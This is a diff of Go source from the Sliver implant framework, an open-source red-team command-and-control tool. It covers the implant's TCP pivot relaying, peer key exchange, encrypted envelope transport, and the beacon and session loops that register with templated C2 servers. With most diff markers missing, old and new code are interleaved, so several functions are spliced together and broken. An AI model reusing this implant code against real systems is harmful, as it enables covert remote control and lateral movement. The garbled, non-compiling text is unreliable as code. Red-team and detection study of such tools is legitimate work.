// // {{end}}
|
||||
// }
|
||||
}
|
||||
|
||||
// PivotClose - Close a pivot connection
|
||||
func (l *PivotListener) PivotClose(id int64) {
|
||||
if p, ok := l.Pivots.Load(id); ok {
|
||||
l.Pivots.Delete(id)
|
||||
p.(*NetConnPivot).Close()
|
||||
// SendPivotClose - Sends a PivotClose message back to the server
|
||||
func SendPivotClose(pivotID uint32, err error, connection *transports.Connection) {
|
||||
pivotClose := &sliverpb.PivotClose{
|
||||
PivotID: pivotID,
|
||||
Err: err.Error(),
|
||||
}
|
||||
}
|
||||
|
||||
// ListenerID - Generate a new pivot id
|
||||
func ListenerID() uint32 {
|
||||
listenerID++
|
||||
return listenerID
|
||||
}
|
||||
|
||||
// PivotID - Generate a new pivot id
|
||||
func PivotID() int64 {
|
||||
buf := make([]byte, 8)
|
||||
rand.Read(buf)
|
||||
return int64(binary.LittleEndian.Uint64(buf))
|
||||
}
|
||||
|
||||
// NetConnPivot - A generic pivot connection to a peer via net.Conn
|
||||
type NetConnPivot struct {
|
||||
id int64
|
||||
conn net.Conn
|
||||
readMutex *sync.Mutex
|
||||
writeMutex *sync.Mutex
|
||||
cipherCtx *cryptography.CipherContext
|
||||
readDeadline time.Duration
|
||||
writeDeadline time.Duration
|
||||
|
||||
upstream chan<- *pb.Envelope
|
||||
Downstream chan *pb.Envelope
|
||||
}
|
||||
|
||||
// ID - ID of peer pivot
|
||||
func (p *NetConnPivot) ID() int64 {
|
||||
return p.id
|
||||
}
|
||||
|
||||
// ToProtobuf - Protobuf of pivot peer
|
||||
func (p *NetConnPivot) ToProtobuf() *pb.PivotPeer {
|
||||
return &pb.PivotPeer{
|
||||
ID: p.id,
|
||||
RemoteAddress: p.RemoteAddress(),
|
||||
}
|
||||
}
|
||||
|
||||
// Start - Starts the TCP pivot connection handler
|
||||
func (p *NetConnPivot) Start(pivots *sync.Map) {
|
||||
defer p.conn.Close()
|
||||
err := p.peerKeyExchange()
|
||||
data, err := proto.Marshal(pivotClose)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println(err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] peer key exchange completed successfully")
|
||||
// {{end}}
|
||||
|
||||
// We don't want to register the peer prior to the key exchange
|
||||
// Add & remove self from listener pivots map
|
||||
pivots.Store(p.ID(), p)
|
||||
defer pivots.Delete(p.ID())
|
||||
|
||||
go func() {
|
||||
defer close(p.Downstream)
|
||||
for {
|
||||
envelope, err := p.readEnvelope()
|
||||
if err != nil {
|
||||
return // Will return when connection is closed
|
||||
}
|
||||
if envelope.Type == pb.MsgPivotPeerPing {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] received peer ping, sending peer pong ...")
|
||||
// {{end}}
|
||||
p.Downstream <- &pb.Envelope{
|
||||
Type: pb.MsgPivotPeerPing,
|
||||
Data: envelope.Data,
|
||||
}
|
||||
} else {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] received peer envelope, upstreaming (%d) ...", envelope.Type)
|
||||
// {{end}}
|
||||
envelopeData, _ := proto.Marshal(envelope)
|
||||
data, _ := proto.Marshal(&pb.PivotPeerEnvelope{
|
||||
PeerID: PeerID, // This proccess' Peer ID
|
||||
PivotID: p.ID(), // The Pivot connection ID
|
||||
Name: consts.SliverName,
|
||||
Data: envelopeData,
|
||||
})
|
||||
p.upstream <- &pb.Envelope{
|
||||
ID: 0, // Pivot server implementation uses handlers, so ID must be zero
|
||||
Type: pb.MsgPivotPeerEnvelope,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
for envelope := range p.Downstream {
|
||||
err := p.writeEnvelope(envelope)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPivotClose,
|
||||
Data: data,
|
||||
}
|
||||
}
|
||||
|
||||
// peerKeyExchange - Exchange session key with peer, it's important that we DO NOT write
|
||||
// anything to the socket before we've validated the peer's key is properly signed.
|
||||
func (p *NetConnPivot) peerKeyExchange() error {
|
||||
p.conn.SetReadDeadline(time.Now().Add(tcpPivotReadDeadline))
|
||||
peerHelloRaw, err := p.read()
|
||||
p.conn.SetReadDeadline(time.Time{})
|
||||
// PivotWriteEnvelope - Writes a protobuf envelope to a generic connection
|
||||
func PivotWriteEnvelope(cipherCtx *cryptography.CipherContext, conn *net.Conn, envelope *sliverpb.Envelope) error {
|
||||
data, err := proto.Marshal(envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] peer read failure: %s", err)
|
||||
// {{end}}
|
||||
return ErrFailedKeyExchange
|
||||
}
|
||||
peerHello := &pb.PivotHello{}
|
||||
err = proto.Unmarshal(peerHelloRaw, peerHello)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] unmarshal failure: %s", err)
|
||||
// {{end}}
|
||||
return ErrFailedKeyExchange
|
||||
}
|
||||
validPeer := cryptography.MinisignVerify(peerHello.PublicKey, peerHello.PublicKeySignature)
|
||||
if !validPeer {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] invalid peer key")
|
||||
// {{end}}
|
||||
return ErrFailedKeyExchange
|
||||
}
|
||||
sessionKey := cryptography.RandomKey()
|
||||
p.cipherCtx = cryptography.NewCipherContext(sessionKey)
|
||||
ciphertext, err := cryptography.ECCEncryptToPeer(peerHello.PublicKey, peerHello.PublicKeySignature, sessionKey[:])
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] peer encryption failure: %s", err)
|
||||
// {{end}}
|
||||
return ErrFailedKeyExchange
|
||||
}
|
||||
publicKeyRaw, _ := base64.RawStdEncoding.DecodeString(cryptography.ECCPublicKey)
|
||||
peerResponse, _ := proto.Marshal(&pb.PivotHello{
|
||||
PublicKey: publicKeyRaw,
|
||||
PublicKeySignature: cryptography.ECCPublicKeySignature,
|
||||
SessionKey: ciphertext,
|
||||
})
|
||||
p.conn.SetWriteDeadline(time.Now().Add(tcpPivotWriteDeadline))
|
||||
err = p.write(peerResponse)
|
||||
p.conn.SetWriteDeadline(time.Time{})
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] peer write failure: %s", err)
|
||||
// {{end}}
|
||||
return ErrFailedKeyExchange
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// write - Write a message to the TCP pivot with a length prefix
|
||||
// it's unlikely we can't write the 4-byte length prefix in one write
|
||||
// so we fail if we can't, messages may be much longer so we try to
|
||||
// drain the message buffer if we didn't complete the write
|
||||
func (p *NetConnPivot) write(message []byte) error {
|
||||
p.writeMutex.Lock()
|
||||
defer p.writeMutex.Unlock()
|
||||
n, err := p.conn.Write(p.lengthOf(message))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error writing message length: %v", err)
|
||||
log.Print("Envelope marshaling error: ", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
if n != 4 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error writing message length: %v", err)
|
||||
// {{end}}
|
||||
return ErrFailedWrite
|
||||
data, err = cipherCtx.Encrypt(data)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
total := 0
|
||||
for total < len(message) {
|
||||
n, err = p.conn.Write(message[total:])
|
||||
total += n
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(data)))
|
||||
_, err = (*conn).Write(dataLengthBuf.Bytes())
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("pivots.PivotWriteEnvelope error %v and %d\n", err, dataLengthBuf)
|
||||
// {{end}}
|
||||
}
|
||||
totalWritten := 0
|
||||
for totalWritten < len(data)-writeBufSize {
|
||||
n, err2 := (*conn).Write(data[totalWritten : totalWritten+writeBufSize])
|
||||
totalWritten += n
|
||||
if err2 != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("pivots.PivotWriteEnvelope error %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
if totalWritten < len(data) {
|
||||
missing := len(data) - totalWritten
|
||||
_, err := (*conn).Write(data[totalWritten : totalWritten+missing])
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error writing message: %v", err)
|
||||
log.Printf("pivots.PivotWriteEnvelope error %v\n", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (p *NetConnPivot) read() ([]byte, error) {
|
||||
p.readMutex.Lock()
|
||||
defer p.readMutex.Unlock()
|
||||
// PivotReadEnvelope - Reads a protobuf envelope from a generic connection
|
||||
func PivotReadEnvelope(cipherCtx *cryptography.CipherContext, conn net.Conn) (*sliverpb.Envelope, error) {
|
||||
dataLengthBuf := make([]byte, 4)
|
||||
n, err := p.conn.Read(dataLengthBuf)
|
||||
if err != nil || n != 4 {
|
||||
_, err := conn.Read(dataLengthBuf)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error (read msg-length): %v\n", err)
|
||||
log.Printf("pivots.PivotReadEnvelope error (read msg-length): %v\n", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
|
||||
dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
|
||||
readBuf := make([]byte, readBufSize)
|
||||
dataBuf := []byte{}
|
||||
dataBuf := make([]byte, 0)
|
||||
totalRead := 0
|
||||
for {
|
||||
n, err := p.conn.Read(readBuf)
|
||||
n, err := conn.Read(readBuf)
|
||||
dataBuf = append(dataBuf, readBuf[:n]...)
|
||||
totalRead += n
|
||||
if totalRead == dataLength {
|
||||
@@ -388,76 +223,22 @@ func (p *NetConnPivot) read() ([]byte, error) {
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] read error: %s\n", err)
|
||||
log.Printf("Read error: %s\n", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
break
|
||||
}
|
||||
}
|
||||
return dataBuf, err
|
||||
}
|
||||
|
||||
func (p *NetConnPivot) lengthOf(message []byte) []byte {
|
||||
dataLengthBuf := new(bytes.Buffer)
|
||||
binary.Write(dataLengthBuf, binary.LittleEndian, uint32(len(message)))
|
||||
return dataLengthBuf.Bytes()
|
||||
}
|
||||
|
||||
// writeEnvelope - Write a complete envelope
|
||||
func (p *NetConnPivot) writeEnvelope(envelope *pb.Envelope) error {
|
||||
data, err := proto.Marshal(envelope)
|
||||
dataBuf, err = cipherCtx.Decrypt(dataBuf)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Marshaling error: %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
data, err = p.cipherCtx.Encrypt(data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Encryption error: %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
return p.write(data)
|
||||
}
|
||||
|
||||
// readEnvelope - Read a complete envelope
|
||||
func (p *NetConnPivot) readEnvelope() (*pb.Envelope, error) {
|
||||
data, err := p.read()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Error reading message: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
data, err = p.cipherCtx.Decrypt(data)
|
||||
envelope := &sliverpb.Envelope{}
|
||||
err = proto.Unmarshal(dataBuf, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Decryption error: %s", err)
|
||||
log.Printf("Unmarshal envelope error: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
envelope := &pb.Envelope{}
|
||||
err = proto.Unmarshal(data, envelope)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Unmarshal envelope error: %v", err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
return &sliverpb.Envelope{}, err
|
||||
}
|
||||
return envelope, nil
|
||||
}
|
||||
|
||||
// RemoteAddress - Remote address of peer
|
||||
func (p *NetConnPivot) RemoteAddress() string {
|
||||
remoteAddr := p.conn.RemoteAddr()
|
||||
if remoteAddr != nil {
|
||||
return remoteAddr.String()
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// Close - Close connection to peer
|
||||
func (p *NetConnPivot) Close() error {
|
||||
return p.conn.Close()
|
||||
}
|
||||
@@ -1,29 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var SupportedPivotListeners = map[pb.PivotType]StartListener{
|
||||
pb.PivotType_TCP: StartTCPPivotListener,
|
||||
}
|
||||
@@ -1,28 +0,0 @@
|
||||
package pivots
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
var SupportedPivotListeners = map[pb.PivotType]StartListener{
|
||||
pb.PivotType_TCP: StartTCPPivotListener,
|
||||
pb.PivotType_NamedPipe: StartNamedPipePivotListener,
|
||||
}
|
||||
+127
-39
@@ -19,66 +19,154 @@ package pivots
|
||||
*/
|
||||
|
||||
import (
|
||||
"net"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"time"
|
||||
|
||||
"net"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/cryptography"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
var (
|
||||
tcpPivotReadDeadline = 10 * time.Second
|
||||
tcpPivotWriteDeadline = 10 * time.Second
|
||||
)
|
||||
|
||||
// StartTCPPivotListener - Start a TCP listener
|
||||
func StartTCPPivotListener(address string, upstream chan<- *pb.Envelope) (*PivotListener, error) {
|
||||
// StartTCPListener - Start a TCP listener
|
||||
func StartTCPListener(address string) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Starting TCP pivot listener on %s", address)
|
||||
log.Printf("Starting Raw TCP listener on %s", address)
|
||||
// {{end}}
|
||||
ln, err := net.Listen("tcp", address)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] listener error: %s", err)
|
||||
log.Println(err)
|
||||
// {{end}}
|
||||
return nil, err
|
||||
return err
|
||||
}
|
||||
pivotListener := &PivotListener{
|
||||
ID: ListenerID(),
|
||||
Type: pb.PivotType_TCP,
|
||||
Listener: ln,
|
||||
Pivots: &sync.Map{},
|
||||
BindAddress: address,
|
||||
Upstream: upstream,
|
||||
}
|
||||
go tcpPivotAcceptNewConnections(pivotListener)
|
||||
return pivotListener, nil
|
||||
pivotListeners = append(pivotListeners, &PivotListener{
|
||||
Type: "tcp",
|
||||
RemoteAddress: address,
|
||||
})
|
||||
go tcpPivotAcceptNewConnection(ln)
|
||||
return nil
|
||||
}
|
||||
|
||||
func tcpPivotAcceptNewConnections(pivotListener *PivotListener) {
|
||||
func tcpPivotAcceptNewConnection(ln net.Listener) {
|
||||
for {
|
||||
conn, err := pivotListener.Listener.Accept()
|
||||
conn, err := ln.Accept()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[tcp-pivot] listener stopping: %s", err)
|
||||
log.Printf("tcp accept failure: %s", err)
|
||||
// {{end}}
|
||||
continue
|
||||
}
|
||||
// handle connection like any other net.Conn
|
||||
go tcpPivotConnectionHandler(conn)
|
||||
}
|
||||
}
|
||||
|
||||
func tcpPivotConnectionHandler(conn net.Conn) {
|
||||
// First we read a uint64 containing the current OTP
|
||||
// code to prevent random connections and confirm the
|
||||
// peer was compiled by the same server.
|
||||
otpBuf := make([]byte, 8)
|
||||
conn.SetReadDeadline(time.Now().Add(time.Second * 10))
|
||||
n, err := conn.Read(otpBuf)
|
||||
if err != nil || n != 8 {
|
||||
conn.Close()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Failed to read otp code from peer: %v\n", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
otpCode := fmt.Sprintf("%d", binary.LittleEndian.Uint64(otpBuf))
|
||||
valid, err := cryptography.ValidateTOTP(otpCode)
|
||||
if err != nil || !valid {
|
||||
conn.Close()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid otp code from peer %v\n", err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
// cipherCtx := cryptography.NewCipherContext(cryptography.PeerAESKey(otpCode))
|
||||
// tcpPivotStart(cipherCtx, conn)
|
||||
}
|
||||
|
||||
func tcpPivotStart(cipherCtx *cryptography.CipherContext, conn net.Conn) {
|
||||
pivotID := pivotID()
|
||||
|
||||
// defer func() {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Printf("Cleaning up for pivot %d\n", pivotID)
|
||||
// // {{end}}
|
||||
// conn.Close()
|
||||
// pivotClose := &sliverpb.PivotClose{
|
||||
// PivotID: pivotID,
|
||||
// }
|
||||
// data, err := proto.Marshal(pivotClose)
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Println(err)
|
||||
// // {{end}}
|
||||
// return
|
||||
// }
|
||||
// connection := transports.GetActiveConnection()
|
||||
// if connection.IsOpen {
|
||||
// connection.Send <- &sliverpb.Envelope{
|
||||
// Type: sliverpb.MsgPivotClose,
|
||||
// Data: data,
|
||||
// }
|
||||
// }
|
||||
// }()
|
||||
|
||||
for {
|
||||
envelope, err := PivotReadEnvelope(cipherCtx, conn)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println(err)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
// handle connection like any other net.Conn
|
||||
pivotConn := &NetConnPivot{
|
||||
id: PivotID(),
|
||||
conn: conn,
|
||||
readMutex: &sync.Mutex{},
|
||||
writeMutex: &sync.Mutex{},
|
||||
readDeadline: tcpPivotReadDeadline,
|
||||
writeDeadline: tcpPivotWriteDeadline,
|
||||
upstream: pivotListener.Upstream,
|
||||
Downstream: make(chan *pb.Envelope),
|
||||
|
||||
dataBuf, err1 := proto.Marshal(envelope)
|
||||
if err1 != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println(err1)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
pivotData := &sliverpb.PivotData{
|
||||
PivotID: pivotID,
|
||||
Data: dataBuf,
|
||||
}
|
||||
connection := transports.GetActiveConnection()
|
||||
if envelope.Type == 1 {
|
||||
SendPivotOpen(pivotID, dataBuf, connection)
|
||||
continue
|
||||
}
|
||||
data2, err2 := proto.Marshal(pivotData)
|
||||
if err2 != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println(err2)
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
if connection.IsOpen {
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
Type: sliverpb.MsgPivotData,
|
||||
Data: data2,
|
||||
}
|
||||
}
|
||||
go pivotConn.Start(pivotListener.Pivots)
|
||||
}
|
||||
}
|
||||
|
||||
func pivotID() uint32 {
|
||||
buf := make([]byte, 4)
|
||||
rand.Read(buf)
|
||||
return binary.LittleEndian.Uint32(buf)
|
||||
}
|
||||
+81
-124
@@ -36,6 +36,9 @@ import (
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
"sync"
|
||||
|
||||
"github.com/gofrs/uuid"
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.Debug}}{{else}}
|
||||
@@ -52,11 +55,11 @@ import (
|
||||
"github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
|
||||
"github.com/bishopfox/sliver/implant/sliver/limits"
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/implant/sliver/version"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
|
||||
"github.com/gofrs/uuid"
|
||||
"google.golang.org/protobuf/proto"
|
||||
"google.golang.org/protobuf/reflect/protoreflect"
|
||||
|
||||
@@ -66,15 +69,15 @@ import (
|
||||
)
|
||||
|
||||
var (
|
||||
InstanceID string
|
||||
// {{if .Config.IsBeacon}}
|
||||
BeaconID string
|
||||
// {{end}}
|
||||
|
||||
c2Servers = []string{
|
||||
// {{range $index, $value := .Config.C2}}
|
||||
"{{$value}}", // {{$index}}
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
connectionErrors = 0
|
||||
)
|
||||
|
||||
func init() {
|
||||
@@ -86,13 +89,15 @@ func init() {
|
||||
}
|
||||
insecureRand.Seed(int64(seed))
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
id, err := uuid.NewV4()
|
||||
if err != nil {
|
||||
buf := make([]byte, 16) // NewV4 fails if secure rand fails
|
||||
insecureRand.Read(buf)
|
||||
id = uuid.FromBytesOrNil(buf)
|
||||
}
|
||||
InstanceID = id.String()
|
||||
BeaconID = id.String()
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
// {{if .Config.IsService}}
|
||||
@@ -105,25 +110,11 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
|
||||
for {
|
||||
select {
|
||||
default:
|
||||
abort := make(chan struct{})
|
||||
connections := transports.StartConnectionLoop(c2Servers, abort)
|
||||
for connection := range connections {
|
||||
if connection == nil {
|
||||
break
|
||||
}
|
||||
err := sessionMainLoop(connection)
|
||||
if err != nil {
|
||||
connectionErrors++
|
||||
if transports.GetMaxConnectionErrors() < connectionErrors {
|
||||
return
|
||||
}
|
||||
}
|
||||
reconnect := transports.GetReconnectInterval()
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Reconnect sleep: %s", reconnect)
|
||||
// {{end}}
|
||||
time.Sleep(reconnect)
|
||||
connection := transports.StartConnectionLoop(c2Servers)
|
||||
if connection == nil {
|
||||
break
|
||||
}
|
||||
sessionMainLoop(connection)
|
||||
case c := <-r:
|
||||
switch c.Cmd {
|
||||
case svc.Interrogate:
|
||||
@@ -201,24 +192,21 @@ func main() {
|
||||
// {{if .Config.IsBeacon}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Running in Beacon mode with ID: %s", InstanceID)
|
||||
log.Printf("Running in Beacon mode with ID: %s", BeaconID)
|
||||
// {{end}}
|
||||
abort := make(chan struct{})
|
||||
defer func() {
|
||||
abort <- struct{}{}
|
||||
}()
|
||||
beacons := transports.StartBeaconLoop(c2Servers, abort)
|
||||
for beacon := range beacons {
|
||||
beaconGenerator := transports.StartBeaconLoop(c2Servers, abort)
|
||||
for beacon := range beaconGenerator {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Next beacon = %v", beacon)
|
||||
// {{end}}
|
||||
if beacon != nil {
|
||||
err := beaconMainLoop(beacon)
|
||||
if err != nil {
|
||||
connectionErrors++
|
||||
if transports.GetMaxConnectionErrors() < connectionErrors {
|
||||
return
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
reconnect := transports.GetReconnectInterval()
|
||||
@@ -228,25 +216,15 @@ func main() {
|
||||
time.Sleep(reconnect)
|
||||
}
|
||||
|
||||
// {{else}} ------- IsBeacon/IsSession -------
|
||||
// {{else}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Running in session mode")
|
||||
// {{end}}
|
||||
abort := make(chan struct{})
|
||||
defer func() {
|
||||
abort <- struct{}{}
|
||||
}()
|
||||
connections := transports.StartConnectionLoop(c2Servers, abort)
|
||||
for connection := range connections {
|
||||
for {
|
||||
connection := transports.StartConnectionLoop(c2Servers)
|
||||
if connection != nil {
|
||||
err := sessionMainLoop(connection)
|
||||
if err != nil {
|
||||
connectionErrors++
|
||||
if transports.GetMaxConnectionErrors() < connectionErrors {
|
||||
return
|
||||
}
|
||||
}
|
||||
sessionMainLoop(connection)
|
||||
}
|
||||
reconnect := transports.GetReconnectInterval()
|
||||
// {{if .Config.Debug}}
|
||||
@@ -260,14 +238,22 @@ func main() {
|
||||
}
|
||||
|
||||
// {{if .Config.IsBeacon}}
|
||||
var (
|
||||
beaconErrors = 0
|
||||
)
|
||||
|
||||
func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
// Register beacon
|
||||
err := beacon.Init()
|
||||
if err != nil {
|
||||
beaconErrors++
|
||||
if transports.GetMaxConnectionErrors() < beaconErrors {
|
||||
return err
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Beacon init error: %s", err)
|
||||
log.Printf("[beacon] init failure %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
return nil
|
||||
}
|
||||
defer func() {
|
||||
err := beacon.Cleanup()
|
||||
@@ -283,25 +269,21 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Error starting beacon: %s", err)
|
||||
// {{end}}
|
||||
connectionErrors++
|
||||
if transports.GetMaxConnectionErrors() < connectionErrors {
|
||||
beaconErrors++
|
||||
if transports.GetMaxConnectionErrors() < beaconErrors {
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
}
|
||||
connectionErrors = 0
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Registering beacon with server")
|
||||
// {{end}}
|
||||
nextCheckin := time.Now().Add(beacon.Duration())
|
||||
register := registerSliver()
|
||||
register.ActiveC2 = beacon.URL()
|
||||
register.ProxyURL = beacon.ProxyURL()
|
||||
beacon.Send(wrapEnvelope(sliverpb.MsgBeaconRegister, &sliverpb.BeaconRegister{
|
||||
ID: InstanceID,
|
||||
beacon.Send(Envelope(sliverpb.MsgBeaconRegister, &sliverpb.BeaconRegister{
|
||||
ID: BeaconID,
|
||||
Interval: beacon.Interval(),
|
||||
Jitter: beacon.Jitter(),
|
||||
Register: register,
|
||||
Register: RegisterSliver(),
|
||||
NextCheckin: nextCheckin.UTC().Unix(),
|
||||
}))
|
||||
beacon.Close()
|
||||
@@ -353,8 +335,8 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] sending check in ...")
|
||||
// {{end}}
|
||||
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
|
||||
ID: InstanceID,
|
||||
err = beacon.Send(Envelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
|
||||
ID: BeaconID,
|
||||
NextCheckin: nextCheckin.UTC().Unix(),
|
||||
}))
|
||||
if err != nil {
|
||||
@@ -452,8 +434,8 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
log.Printf("[beacon] all tasks completed, sending results to server")
|
||||
// {{end}}
|
||||
|
||||
err = beacon.Send(wrapEnvelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
|
||||
ID: InstanceID,
|
||||
err = beacon.Send(Envelope(sliverpb.MsgBeaconTasks, &sliverpb.BeaconTasks{
|
||||
ID: BeaconID,
|
||||
Tasks: results,
|
||||
}))
|
||||
if err != nil {
|
||||
@@ -486,59 +468,30 @@ func openSessionHandler(data []byte) {
|
||||
}
|
||||
|
||||
go func() {
|
||||
abort := make(chan struct{})
|
||||
connections := transports.StartConnectionLoop(openSession.C2S, abort)
|
||||
defer func() { abort <- struct{}{} }()
|
||||
connectionAttempts := 0
|
||||
for connection := range connections {
|
||||
connectionAttempts++
|
||||
if connection != nil {
|
||||
err := sessionMainLoop(connection)
|
||||
if err == nil {
|
||||
break
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] failed to connect to server: %s", err)
|
||||
// {{end}}
|
||||
}
|
||||
if len(openSession.C2S) <= connectionAttempts {
|
